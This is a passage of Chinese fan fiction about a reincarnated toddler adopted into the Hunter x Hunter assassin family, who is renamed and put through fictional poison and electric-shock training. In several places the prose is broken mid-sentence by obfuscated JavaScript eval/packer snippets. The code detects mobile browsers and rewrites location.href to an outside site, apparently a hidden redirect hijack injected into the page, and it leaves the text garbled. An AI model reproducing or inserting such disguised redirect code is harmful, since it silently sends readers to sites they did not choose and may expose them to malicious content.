于是妈妈妥协了，但是重复了好几遍，不允许和奇犽靠得太近，还有生出孩子之后就必须有他自己的位置。伊尔迷同意了，他又带着林洛离开了房间，这次大概是没有什么人要见了，林洛被放在门口。 “你自己回去吧，几天后再过来。” 伊尔迷蹲下去和他说着话，“我现在还有个任务，你回去之后先学一点东西吧。” 说着他瞬间消失在眼前。 而林洛茫然地看着山路，绵延不绝的路淹没在森林里。 ……你是说我，一个一岁多的小孩，现在要穿过都是怪物的森林回去，是吗？ 所以说我到底是来干嘛的…… 5. 05 偶尔林洛会忘记自己才一岁多这件事。 就像他偶尔会忘记这个世界里存在超级赛亚人这种东西这件事。 伊尔迷瞬间消失后，他重新意识到，除了杀人没被抓，偷娃儿还猖狂以外，伊尔迷还是跳一下蹦跶二三十米的金刚巨无霸。他颓废地走在那条路上，头皮发麻地感受到周遭的气息变化，似乎是因为他只不过是个小娃娃，从而觉得他方便被吃个精光。 林洛没辙，他虽然不是很喜欢，但是对于已经学到跑的他来说，和奇犽玩的那几次确实是让他超越极限，现如今一边走一边觉得害怕，那就只能跑起来了。 他上辈子都没有做过那么高难度的动作，玩蹦蹦床也不会觉得自己轻盈，然而现在他跑得飞快，遇见拦路的东西一个撑地跳跃，整个人就飞出去了，脑子虽然晕乎，但是他跑得飞快，不想被吃掉，不想死掉，想回家……他踩住木板往下滑，身后的异动越来越强烈，林洛不敢往后看，卯足了劲地借着下坡死命滑。 真是人在前面跑，魂在后面追。 好不容易跑到了佣人别苑门口，梧桐看了过来，第一句话却是：“你在和三毛玩吗？” 林洛愣愣回头，一只巨大的白色怪物正在他身后跟着，它看起来像狗，却凶狠得有些过分，一张嘴就是两排尖锐的牙齿，林洛呆呆地看着，不清楚自己是怎么跑过这只狗的，还是说……这狗让着他的？ 受了一整天的惊吓，林洛累觉不爱，洗个澡换身衣服，喝了苦苦的牛奶，窝在被子里哭。 小白菜，地里黄，我林洛，想回家。 眼泪浸透了被子，他哭得一抽一抽。想到自己是伊尔迷的礼物，想到那个老爷的凶神恶煞，想到那个妈妈的尖锐声音，林洛就抽抽搭搭的不想说话。好吧，他本来也就话很少，基本不说话。 他哭了半天，也没什么用，毕竟擦擦眼泪，该活还得活。 于是他又爬了起来，慢慢腾腾去挪自己的小凳子，踩着坐在上面，继续学习自己的语言，还有一些听不懂的话要学，否则被别人卖了自己都不知道，呃，但是就算知道了也没辙，该卖还是得卖。 他以后也会变成这种人吗？ 能够打架打得很厉害的那种？那样的话他还是有点期待的啦，只不过，打架就会受伤，他怕疼，怕血，怕对方痛苦或者死亡，也怕自己毫无胜算。林洛想着，学着，手上的笔也比之前轻了很多，他在书本上画了个从字里探出头的小猫，又加了一只垂耳朵的小狗，各自加上尾巴。看着看着，眼睛又热热的，林洛努力把眼泪憋回去。 没关系的，只是思念而已，他会努力适应的。 ——这个似乎没有顾深深存在的世界。 大概是惊吓过度，林洛不知为何慢慢睡着了，他睡觉的时候总是不安稳，一开始梦见父母的死，后来梦见伊尔迷恐怖的表情，再是那好像身处地狱的威压，林洛辗转反侧，梦魇连连，突兀前额传来一阵疼痛，尖锐的疼痛像是要将他的脑子一并扎穿。林洛挣扎起来，手脚并用，眼珠子在眼皮下转动，他在梦里被一根针一根针的扎进身体里，他想要尖叫，却死死压抑在喉咙里。 他骤然睁开眼睛，一张脸湿漉漉的。 头疼迅速褪去，像是假象，外面一片漆黑，他不知道被谁转到了床上，盖着被子。窗户敞开着，窗帘在夜风里翻飞，他的脑子晕乎乎的，胡乱抹了一把眼泪。 但是怎么、好困…… 林洛无法理解自己的状态，不由自主倒下继续睡觉。在他陷入沉眠时，似乎有谁来到了他的床前，捏了一把他的脸。 林洛难得睡了个好觉，但是他也开启了新的课程。 课程就是，家庭介绍。 此处是位于巴托奇亚共和国的枯枯戮山，是海拔高于三千七百七十二公尺的死火山，从山下开始全方位都是他们家的私有产物，外人不得入内，也就是，林洛目光所及之处，全部都是这家人的财产。 而他们的家族姓为：揍敌客。 揍敌客是世界著名的杀手家族，从曾祖父父到三岁小孩都是杀手，每一代家主生下的小孩都会作为杀手培养，只需要足够的金钱就能够聘请他们为自己杀人。 林洛听得一愣一愣，这还是国内吗，这给我干哪儿来了…… 杀人合法吗，合法的话岂不是乱套？杀手不应该在背地里吗，怎么干成职业还是光明正大的职业了？从小培养，杀手世家，他该不会在什么某二次元动漫里吧？ 然后梧桐他们就开始介绍起了他以后需要见到的每个人。 比如曾祖父马哈，没事别打扰他，有事也别打扰他，这个年纪的人需要安静；比如祖父桀诺，挺喜欢小孩，但是包不包括林洛，他们不清楚；家主席巴，用最尊贵的态度去面对吧，那是强者中的强者男人中的男人；裘基，家主夫人，务必尊贵到骨子里去。 紧接着是揍敌客家的孩子。 林洛熟悉的伊尔迷是长子，糜稽是次子，奇犽与亚路嘉是三与四子，两个人是双胞胎，而肚子里怀着的那个，不论男女，都会取名叫柯特。 做完了一系列的功课，晕头转向的林洛被推去修剪头发，整理着装，收拾行李。他的东西其实并不多，奶瓶加餐具，还有两个小玩具，学拼写用的书和卡片，但是梧桐另外拿了一个他半人高的行李箱出来。 而当着林洛的面，他往里面加了充足的裙子。 “这些都是夫人赏赐的，所以这就是你以后日常要穿的衣服了。” 不是，虽然这些衣服都很漂亮，可这会让一个小孩对于性别的感知错乱吧？他呆滞的眼神充分说明了他对现在自己性别的不确定，都想等下去摸摸是不是真的有小丁勾了……不过为什么要打包他的行李？他要被丢去了吗？不对，他这几天才学了这家人的信息，难道是…… 照顾了他这么久的梧桐，对着他微微鞠躬。 “少爷，请自己多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035548|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意身体。” 等下，什么少爷？什么自己？梧桐你要去哪里？ 伊洛林因为分别而眼泪直掉，急得团团转。然而他也开不了口，说什么我不想你来你啊，显而易见，只不过是因为两种选择里梧桐更无害而已，但他的无害是建立在伊尔迷他们的态度下的，实际上也只不过是听人命令办事。可是林洛哪怕明白这些，也舍不得梧桐，觉得他们面冷心热，但总比伊尔迷好一些吧？可是没用，他还是被连人带行李打包，送到了主宅。 他穿着蓬松的蛋糕裙，坐在伊尔迷的房间里，总觉得自己已经累觉不爱了。 他现在是要连自己的房间都没有了吗？ 消费降级也不是这么降的…… 他也只能观察起伊尔迷的房间，上次来太紧张，什么都不敢看，就被一瓶毒牛奶带走了。 伊尔迷的房间很大很宽敞，床相当于在靠右侧的方向，拥有两扇窗户，看着就有两米的床铺十分柔软，在地上堆着一些坐垫，房间的另一个角落里放着一些锻炼器材与大衣柜，像是新购置的书桌放在一旁的角落里，书桌自带着的书架上摆放着的书籍从简单到复杂，看得林洛为自己毕业多年还要上课的未来默哀十分钟。 他往里头走，一间干湿分离的浴室也很大，甚至还有浴缸，但是浴缸三步开外还有一扇门，他再推开去看，竟然是一个日式庭院，鹅卵石铺成小路，尽头是一个可以容纳七八个人同时泡澡的温泉私汤。 还好……还好这里的门重量都是虽然很重却是他推得开的，否则自己真进不来。 他趴在水池边上往里头看。 荡漾起的涟漪扩散开，不知道从哪里的花瓣飘落在水面上，平静地升腾起热气。平静的温泉汤池，倒映出他的脸，看着白净又圆润，本应该更胖一些，来到揍敌客家之后日渐消瘦是难免的。 他情不自禁想要叹气，却只是眨眨眼，就从倒影里看见自己背后的伊尔迷。 林洛吓了一跳，差点整个人栽进温泉里，还是被伊尔迷提起来的。他就像个洋娃娃，能够随便被拎着，只能安静如鸡装个鹌鹑一样动也不敢动。 “竟然能推得开啊……”伊尔迷意味不明说了一句。 那扇门确实是比别的重了很多，他可是努力了很久的！ 伊尔迷就这么拎着他走进去，几个佣人正在将他的衣服整理好放进衣柜里，他的个人物品，洗漱用品也各自放好，甚至还有一些婴儿用品。 好吧，难为他们还记得自己只是个小孩了！ “从今往后，你要住在这里。”伊尔迷说，他将林洛放在地上，自己坐上床铺，这样的角度仰望着伊尔迷，就像一座高山那样不可直视，令人心生恐惧，伊尔迷说，“既然如此，先给你取个名字好了……” “伊洛林，你就叫伊洛林。” 这一刻，林洛仿佛停滞了一秒，他茫然地看着伊尔迷。 ……不，他是林洛。 6. 06 林洛抗拒这个名字。 虽然他的抗拒一般也没什么用，但是他也要抗议！于是乎，他现在的抗议也没用。 事实上他应该说出口，可是对伊尔迷说话需要很大的勇气，拒绝的话更加难以启齿，他控制着自己的喉咙，努力了许久只能挤出几声呜咽。 伊尔迷只是看着他，用一种自上而下的目光，掠过他的面颊与身体，他看着这个孩子，眼里有不满意，却从来不肯对人说出口的孩子。那双眼睛太活泼，与他总是不说话的态度不符合，但伊尔迷也没有深究的想法，简单取了名字之后又告知了另一件事。 目前来说，他现在姓揍敌客，也要进行杀手训练。 在家中排行第五，从今天开始，你就是伊洛林·揍敌客。 新的名字，新的生活，新的人生轨迹。 林洛的喉咙一阵紧缩，他恐惧着听到的一切，甚至在自己做出反应之前就骤然觉得绝望，他颤抖着站起来，下意识开始思考自己的处境。 他是个孩子，没有反抗的能力，伊尔迷能够轻而易举捏死他，梧桐他们是揍敌客家的佣人，对揍敌客是唯命是从，自己离开他们并不会帮助只会将他送回来。这个世界上揍敌客是有名的杀手世家，生意遍布全世界，只要他们想杀就不存在杀不掉的人……越想越绝望，似乎所有道路都是死路一条，除非自己并不想要活下去。 可是他偏偏想要活下去。 贱骨头，为什么偏偏要想着活下去啊……这种世界活着的意义是什么？等待一个未知的可能性吗，想要见到谁吗？这个世界最好不要见到吧？ 他想说我不行，也想说我做不到，可是伊尔迷已经站了起来。 伊尔迷伸出手时，之前在席巴身上感受到的压力又卷土重来，这一次更加具有警告意味，覆盖在林洛的发顶，他感觉到脑内一阵钝痛。于是林洛握紧双手，指甲镶嵌进肉里，深刻地感受到了疼痛，于是也在掉眼泪。泪水蜿蜒过面庞，像是无能为力后的妥协，不甘的心也妥协在毫无退路的事实面前。 困境如同深渊，他在其中如沙砾。 渺小，不堪一提，毫无用处。 为什么是我，为什么偏偏是我，为什么被杀的是我的父母？为什么我被你留下来？为什么我在被养了一段时间之后，就成为了揍敌客家的孩子？为什么我没有别的路可以走，只能去做杀手？ 很酷吗？不，一旦去想象，林洛的手就会颤抖得不像话。 最终那只手轻飘飘拍了拍他的发顶。 “别怕，你现在有家人了。” 不，这不是家人的问题。 “啊，应该给你缓冲的时间？”伊尔迷恍然大悟似的敲了敲手心，“那么，我给你一点时间适应一下，以后就要管我叫大哥了。记住了吗？” 他张了张嘴，没有发出任何的声音。 好奇怪，像自己变得不是自己了一样奇怪……林洛低垂眉眼，他慢慢地觉得有些难以呼吸了，可他还是在呼吸。现在的自己，会变成怎样的大人？他不知道。他只知道，对于自己来说，那二十六年坚定的基础，难以更改。 如果真的有神的话……请你拯救我吧……如果，真的存在的话。 他的祈祷，似乎也无人听见。 抑或者听见了，也无法回应。 林洛生活在这样的世界里，承受着这个世界的压力，他不知道，自己还能不能够做自己，就像他不知道自己还能不能回去一样。未知代表着可能性，可能性代表着不死心，不死心就差绝望还有临门一脚，不论多么绝望，都是临门一脚。 只是，临门一脚。 哈哈，还是安慰一下自己吧，不然真的就觉得死了也可以了。想一想，揍敌客家很有钱，自己现在变成了富二代，家族场地也很大，简直就是农场主啊，还有这么多佣人保护，属于谁一辈子躺到死也可以，对吧？无父无母现在被收养了，无痛拥有一爹一妈一祖父一曾祖父，连兄弟姐妹都高达五人！ 林洛揉着脸努力地安慰自己。 不过伊尔迷是不是真的没把自己当小孩啊，这种事都拿过来告诉自己了……呃也不算，毕竟都安排好了，只不过是传达最后呢结论而已。他只不过是觉得自己听得懂。 林洛没有别的事情能做，只好是滚去读书了。 这一次和伊尔迷睡，他是睡在自己摇篮床上，大半夜闲着无聊就看月亮。他自己一人一个小床，而伊尔迷那么大一个大床，说实话他也想要一张这种床，等以后长大了能不能跟他们要啊？养孩子总得付出点啥吧。正无聊着，伊尔迷鬼魅一样出现在床头盯着他，要是留长发，这个人肯定更像是贞子。林洛迅速闭上眼睛装睡，而闭眼睛的那一刻睡意就开始疯狂滋长了，林洛还没来得及觉得奇怪，脑子一沉就睡着了。 卧槽，伊尔迷是睡魔。 这个念头只有0.1s闪过，林洛直接就把他忘了，第二天醒来啥也不记得，喝他发苦的奶去了。 奶喝多了，习惯了苦味，也就觉得还行。偶尔发酸，最多吐两口血，五脏六腑疼一天，别的也还行。自己倒下习惯了，吃饭的时候就要在隔壁放个垫子，方便自己直接一头撅过去，安静地死在上面。 偶尔他会被送去陪裘基玩，玩换装小游戏，穿各种各样的女装，摆一些姿势给她拍照。 从一开始的“我只是随便玩玩而已”，到后来的“伊洛林早点长大一些还有好多衣服穿不了”，显而易见是取得了质的飞跃。大概是林洛脾气太好，一天换十几套衣服也没有不耐烦，但一般来说就算是脾气好，咱也得管这叫作贪生怕死最高境界，只要听话，你就能活得更久。 他的生活索然无味，基本在于怎么学习词汇，怎么运用词汇。 忙忙碌碌又是一年新春，还是没和自己以前一样，没有什么特别的过节氛围，只是也勉强张灯结彩了一些，而这一次林洛收到了好几个红包，马哈给的丰厚， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035549|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桀诺给的厚重，席巴给的是超级厚，连裘基都可以用厚度给林洛两个巴掌，林洛小心翼翼塞进自己的小枕头里，每天枕着才安心。 说实话他觉得这个世界的货币有点廉价。 毕竟算了算他现在手头都有三个亿，还只是春节红包而已，平时偶尔伊尔迷也给点什么零花钱，虽然也没有用钱的地方不知道发钱干什么，但是每次发也都是有个几百万的。 该不会是一个亿的戒尼才能抵得上一百块软妹币吧？ 伊洛林很惆怅，他还没学到现在世界流通货币的种类和汇率，因此总觉得心里不安。 嗯……还是多存一点，起码存个三十亿，这样出去应该也有点底气吧！这辈子都没想过自己的钱能用亿来标注，呃，上辈子也没有，祈祷一下汇率不要狂跌吧！ 他抓耳挠腮学习的时候，确实没有看见，这本书的价格标注是：12.56戒尼。 无意间在区区两岁的年纪成了富翁，也算是一种玛丽苏吧。 玛丽苏本苏正在从零开始学习数学，算得下笔如有神，孜孜不倦，一鼓作气，然后……开始卡壳。虽然类似却并不一定一模一样，他的脑子真的适合读书吗？不懂，但努力。 “这里，小数点错了。”伊尔迷不知何时出现，点了一下他的作业本，林洛明显被吓得炸了毛，脖颈子后面都在冒寒气。他裹成球儿，怕冷得很，体质跟不上的时候就生怕他们发神经，要求自己脱下来锻炼一□□魄。 林洛正改着数字，听见后面拆封的声音。 拆封……？ 他迅速回头，果真是伊尔迷把他枕头里的小红包都掏出来了，林洛急了，从小凳子上跳下去，狂跑两步过去了，又不敢真的对伊尔迷说什么不行不可以还给我，只能两眼泪汪汪。实在是不想成为一个穷光蛋，一毛钱也没有的那种！汇率低就汇率低，好歹也是钱…… 伊尔迷拿红包逗林洛，看着他的眼睛跟着转来转去。 “你看起来，很喜欢钱啊。” 谁会跟钱过不去？ 林洛紧张地盯着自己的红包，而它们最后的结局是被塞进伊尔迷的口袋里。林洛发出一声悲鸣，那副想抗议却又不敢的表情逗着伊尔迷了，他眼底都有了些许笑意，伸手摸了摸林洛的发顶，“给你存卡里，晚上睡觉不会硌着脑袋。” 本以为伊尔迷只是敷衍他一下，结果林洛第二天就收到了印着揍敌客家标志的一张黑卡。 密码是奇犽的生日。 林洛捧着卡，脑子空空如也。奇犽生日……是什么时候啊，他又不是伊尔迷这个对奇犽在意到了极点的弟控，他连自己的生日都记不清了啊！ ……自己的生日？ 他的生日什么时候来着？ 脑子迷迷糊糊，记不清楚，林洛就没有多想，忘了就忘了吧，反正这么多年也就两个人过生日。 明天就去问问奇犽好了。 林洛如此决定。 7. 07 林洛是不怎么记得住日子的。 他一开始就不知道今夕是何年，几月几日，星期几，在这里这些对他而言好像就成为了没有意义的东西。 所以当他意识到又活了一年的时候，还是因为春节在吃团子，发红包，粗略计算又小赚一个亿，然后被伊尔迷拿走放进他的卡里。 奇犽喜欢到处乱跑，经常来伊尔迷的院子里玩，倒挂在林洛的窗户外面，偷偷叫他出去一起玩，身后跟着亚路嘉这个小尾巴。骤然多了个弟弟，亚路嘉也接受良好，毕竟他认识林洛的时候也才一岁多，对于是不是自己家的还没有什么特别的记性，只以为是妈妈多生了一个弟弟。于是经常性地，趁着伊尔迷不在家，可可爱爱没有脑袋的三个人凑在一起，氛围似乎也就没那么差劲。相比起异于常人的奇犽和林洛，亚路嘉可谓是小天使一般的存在，嘿嘿傻笑着就往林洛怀里凑，没烦恼似的被奇犽扯肉乎乎的小脸蛋。 这一年的裘基需要静养，她生了个男孩，在房间里激情咆哮着求生女儿教程，林洛安静如鸡，掐指一算裘基已经生了五个，顿时头皮发麻。真是身体强悍的女人，这世界唯一的真神……后面这句话是林洛自己加的，毕竟揍敌客家的女性少得可怜，听说从外面接了一个女□□人回来培训，年纪也大差不差，加起来大概也就是两个女性。 不对，还有一个威望很高的女性老管家，隶属于裘基那边的，但只是偶尔能看见，几乎就把她忘记了，然后她孙女似乎也在这里工作？ 见不到太多下人，一般都是自己照顾自己的林洛放弃思考。 不过林洛扯了扯自己的头发。他那不曾修剪过的长度已经到了脖子下面一些，自己算男算女？不男不女？身体男灵魂女？ 他摸着亚路嘉的头，又忍不住蹭蹭。 美好的小孩……还没有被什么杀手训练污染的小孩……林洛将亚路嘉好好蹂躏，惹得奇犽万分不满，“太狡猾了，伊洛林你都没有对我这么好！但是没关系——”他话锋一转扑了上来，把亚路嘉和林洛两个人一起压着了，最下方的林洛被压得想吐血。 “我来叠最上面哼哼——” 不是我说，三少爷，你这个活蹦乱跳的捣蛋鬼，怎么可能比得上乖巧可爱的亚路嘉啊…… “伊洛林总是不说话呢——”亚路嘉是很喜欢奇犽的，两个人能在林洛身上折腾，全亏林洛实际年龄能做他们的妈，对小孩一向是惯着的态度，生生把弟弟做成了保姆。他的脸压在林洛的胸口，笑吟吟地对林洛说，“伊洛林，伊洛林，叫我一句哥哥吧！要这种，哥哥——！这样的！” 这里说的语言里，哥哥这个词就有三种变化。 类似于中文里的兄长、哥，和哥哥；日文里的阿尼ki、尼桑和欧尼酱。 “我想要伊洛林，叫我哥哥！” 这么说的时候，亚路嘉在一瞬间变得非常奇怪，但对于林洛来说他还不是很懂这些事，奇犽好像也没觉得不对。于是伊洛林为了顺从小孩，别别扭扭又无可奈何地叫了一声，“哥哥……亚路嘉哥哥。”瞄到奇犽肉眼可见的反应，也顺嘴就喊了他一句奇犽哥哥，亚路嘉的状态似乎恢复了，紧接着她说，“伊洛林，陪我玩抓人！” 所谓抓人，就是和第一次遇见奇犽一样，追着人到处跑。 这一点比叫哥哥好接受。 他们三个三岁多一点小孩，在庭院里跑出残影。 一开始这么玩的时候。林洛还会头晕一阵子，现在是越跑越迅速，感觉自己的速度比猎犬快点。他们的范围很广，树林里面也去，林洛本担心里头的怪物，但是那只名为三毛的狗经常在周围待着，有看见想偷袭的，都是一口一个嘎嘣脆，尽职尽责地守护着小主人的安全。 林洛其实有点沉迷这样的感觉，脚尖点地，冲刺，起跳，空中旋转，他从未如此轻盈，恐高让他无法在高空中保持镇定，只能强装镇定，害怕过山车，从来不敢尝试蹦极，但是现在的他不仅能够追踪奇犽与亚路嘉的动向，还能够弹射出去预判拦截。 最好抓的是亚路嘉，最难抓的是奇犽，他滑得像是泥鳅一样，每次都能让林洛突破新速度。 最后三个人折腾的实在是没了力气，才会瘫在地上喘气。 这一把老骨头都变得好年轻…… 只要没有伊尔迷，还有那些大人，他的生活看起来就不是那么差劲。 这时候亚路嘉第三次请求他，“伊洛林，抱着我转圈圈吧！” 林洛向来宠小孩，也没多想什么，伸手将亚路嘉抱了起来，一圈又一圈，用离心力将他整个人抡得虎虎生风。对，抡，林洛私以为只有这样的词才能说得清楚他们的动作，整个人像陀螺一样转。要是看到庭院草坪有小坑，不要怀疑，不要犹豫，就是他们玩的时候转出来的。 一口气转了五六分钟，林洛才停下来，他还是会有一点晕，把亚路嘉放下后才一闭眼倒下了。 啊……他的体力都要被甩出去了…… “呐，伊洛林……” 今天亚路嘉的请求这么多吗？ “对我许愿吧——” 林洛支起上半身，和奇犽对视一眼，两个人都觉得有点怪怪的，伊洛林想了想，努力地想了想，“……给奇犽一盒他最近喜欢的巧克力吧？”他的设想是家里还有存货，亚路嘉可以过去拿，奇犽又可以满足口腹之欲，又满足了亚路嘉想他许愿的请求，简直一箭三雕啊！ 下一秒，林洛手上出现了一盒巧克力。 等下……这个世界还有凭空变出东西的超能力吗？林洛瞪大了眼睛，他对此不可置信，揉了揉眼睛，也没能搞清楚这个原理是什么。难道，这个世界上每个人都有超能力，每个人都能觉醒？ 奇犽欢呼一声，扑过来抢走了巧克力。 啊……算了，可能也是什么很正常的事情吧，毕竟奇犽都没有特别的反应，估计就是这个样子吧，嗯嗯……不知道他会不会有呢？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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伊尔迷从来都是这样神出鬼没，他搅了搅看起来卖相一般的面条，往下看着才比他膝盖高点的林洛，自做主张夹了一碗走，不过捎带手也给林洛装了一碗放在他手上，两个人面对面，坐在餐桌两侧吃完了一顿宵夜。 很普通的本味，应该吃不出来什么熟练不熟练吧…… 林洛一边扒拉面条，一边心虚，他偷偷去看伊尔迷。对方那张稚嫩的脸上没有什么表情，淡然睁着一双大眼睛，慢条斯理吃着面条，吃得高贵优雅，像什么贵公子。不过也对，揍敌客本就是高贵的世界第一杀手家族。 “伊洛林。” 伊尔迷放下筷子，表情一动不动。 “明天开始，你就要开始接受电击训练了。这是奇犽他们出生就要开始接受的训练，所以你要追进度了。” 林洛的筷子啪嗒掉在桌面上。 他面色空白，脑海里只有问号。 ……电击？什么电击？电什么？不会是电他吧？哈哈真好笑…… 不是电他，对吧？ 8. 08 林洛有丰富的触电体验，说的是静电。 现在好了，他可以拥有丰富的被电经验了，真的那种。 这时候他其实是无法思考的。 他坐在椅子上，手脚都被固定住了，伊尔迷做这些的时候表情没有改变，动作甚至算得上是轻柔，甚至还安慰了一句因为紧张与恐惧，全身僵硬的林洛。冰凉贴片贴上身体各处，他的恐惧在不断放大，如果说无知无畏，那么他的恐惧就显而易见是因为他知道很多，比如人被电得太严重会死，也很疼。 一开始是轻微的电流，经过身体的时候，感觉就像有个人用质地稍微偏硬的毛刷，刷过他的每一寸肌肤，紧接着是更大的力度，他全身不受控制地痉挛了起来，伴随着难以承受的电流，他的肌肉全部麻痹，眼前与脑海一片空白。林洛没有尖叫，他的所有惨叫都堵在喉咙里，伴随着痛苦的抽搐而渗透四肢百骸，神经变得脆弱，剧烈的头疼翻天覆地地袭来。 好痛……好痛…… 眼泪掉下来就被电得干涸，他翻着白眼瘫坐在上，他在电流里不断地痉挛。 无法思考，无法挣扎，只有痛苦在持续。 到底是多久，他不知道，他失去意识，不会思考，像个木头人一样，肌肉时不时还会抽动两下，空白的表情里留不下太多东西，身体隐约冒着烟。 伊尔迷掐着表停了机器。 他是温柔的哥哥，一秒的罪也不会让弟弟多承受，甚至在发觉林洛被电的控制不住身体，已经在椅子上失禁时，他也没有露出什么表情，毕竟这太正常了。他将林洛抱起送去浴室洗澡，残局自有佣人解决，他托着林洛的身体浸在热水里，听见林洛的抽噎声。 滚烫的泪水流淌在伊尔迷的脖颈与胸膛之间。 他怀中抱着的小孩，像失去了父母的幼兽一样，发出痛苦与无助的悲鸣。 啊，不过他确实是失去了父母嘛。 林洛的双臂颤抖，像是挂不住伊尔迷的肩膀，他克制不住自己哭泣的冲动。明明是伊尔迷开启了他痛苦的所有，但是当他发现自己在热水里、在伊尔迷的怀里时，他还是会匪夷所思地感觉到安全感，就像在百米高空时，只能握住吊着自己的绳索一样的感觉。 他好痛，好痛好痛，没有承受过这样的痛苦，长时间的电击让他整个人都无法停止的战栗，也停不下自己的眼泪。他不想过这样的生活…… 明明咬着苦涩的果实，还要在其中寻找甜味，支撑自己活下去。 他在唇齿边吐出了几个中文词，它们组合成一个名字，在林洛的唇齿间徘徊，他念着，哭着，被伊尔迷的手掌安抚着，痛苦与委屈全部在发泄，控制不住地发泄。 当他哭到昏睡过去后，伊尔迷将他收拾好，放在了床上。 伊尔迷走出门，在走廊下望着庭院，平静地模拟出林洛刚刚不停重复的那句话——“shen shen？” 是名字吗。谁的名字？ 他还记得之前吗？ 伊尔迷虽然不确认，但是基于林洛超于普通小孩的聪明，他决定再观察一下。要真的记得什么，就用针让他失忆好了，很方便啊。 想到林洛的眼泪，他只感叹，“真爱撒娇。” 奇犽很少哭，哭的话，也只是为了达成目的，亚路嘉开朗乐天派，也不怎么哭，包括刚出生不久的柯特性格都较为沉默，伊尔迷想，自己大概也是不哭的类型，糜稽倒是会歇斯底里地说什么，却不会哭的像这样。 所以他只认为林洛在撒娇。还没怎么被撒娇过的伊尔迷对此感觉良好，并乐于安抚。 林洛醒来后在床上躺了很久。 他蜷缩在被子里，对于下床这件事提不起任何兴趣，然而这不是他能够决定的。 他恹恹地抗拒着，在自己的小床上，将被子当作自己脆弱的防卫。身体的每一寸都好痛，被雷劈也是这种感觉吧？身体里每个细胞都在爆炸，手脚冰凉，被痛苦包裹。 林洛怕疼，一直很怕，但是从很久之前，会在意他疼不疼的好像就只剩下她了。 好想回家…… 好想回家。 他的眼泪又将枕头浸湿了。 从这一天开始，林洛开启了地狱模式一般。 一日三餐里全部都拥有不同的毒药，每日电击三十分钟，随着时间而增加难度，下午在庭院里，要参与一场由伊尔迷发起的游戏，名字叫作——用性命作为赌注的躲猫猫。 范围是整个枯枯戮山，奇犽与林洛需要各自躲避。 伊尔迷身上的压迫感告诉他们，他真的会杀了他们，然而似乎每一次都是猫抓老鼠似的，将他们戏耍到筋疲力尽，再放他们回去吃饭。一开始累得两个人都是沾枕头就睡，后来就越来越熟能生巧——如何屏住呼吸，如何掩盖痕迹，如何悄无声息又不露任何马脚，如何和周围融为一体。 他在痛苦里挣扎太久，将痛苦也当作生活的一种。 当他能够在猛烈的电流里保持平静时，反而有一种对自己的存在感到不真实的茫然。 他真的还活着吗？ 他还在这个世界上存在吗？ 不过半年而已，他已经变得有些认不出自己。照镜子时看到那张熟悉的脸变得越来越陌生，他不再眉眼弯弯，从来到这个世界开始就忘了怎么样才能放松，他整夜整夜睡不着，麻木地在这个世界上活着。他穿裙子，做衣架子，穿别人让他穿的衣服，留别人让他留的发型，衣食住行被安排，每天再进行一些名为训练的活动。 他已经有些睡不下那张小床了。 书页翻烂后，识字的卡片与基础数学题也很久都没有动过。 亚路嘉对他最多的请求依旧是：“对我说说话吧，伊洛林。” 他的沉默无人在意，只有亚路嘉会看在眼里，每三次，亚路嘉都会让他许愿。他在心里许愿要回家，嘴上却说要巧克力，要糖果，要亚路嘉开心。而每一次，亚路嘉都会露出有些悲伤的表情看着林洛，他说：你是不是没有许下真正的愿望？ 伊洛林摇摇头，他搂住亚路嘉，感觉自己好累好累。 时间安静地走过。 第四年冬，他接过了红包，递给了伊尔迷。 除夕夜，他坐在吊椅上，在汹涌的电流里发呆，感受肌肉每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是看到亚路嘉的笑容就觉得足够了，拿着球奔跑过来的奇犽冲他们笑，一脚踢出了足球。伊洛林耍了一个漂亮的回旋踢，将足球踢了回去，亚路嘉欢呼雀跃起来，“伊洛林，好棒！我也要玩，我也要玩！” 这样才是正确的吧？ 伊洛林想着，他身体比脑子先动，三个人互相将球踢得像炮弹。 伊尔迷结束了任务。 他回到房间，洗去了身上的血腥味，转头就看见伊洛林睡在小床里伸出来一条腿，眼睛睁得大大地看着他。床不合适了啊……换一张床，还是换一个房间？ “今晚和我一起睡吧。” 算是一个暂时的办法。 伊洛林眨了眨眼睛，“好的，哥，你要吃夜宵吗？” “不用了。” 伊尔迷擦着头发随意回答，而后他顿住，望向正从小床上爬下来的伊洛林，小孩小小一只，赤着脚去爬他的床。伊尔迷凝视着伊洛林。 ……味道，变了啊。 9. 09 伊尔迷说了很奇怪的话。 “你竟然会开始叫我哥了？” 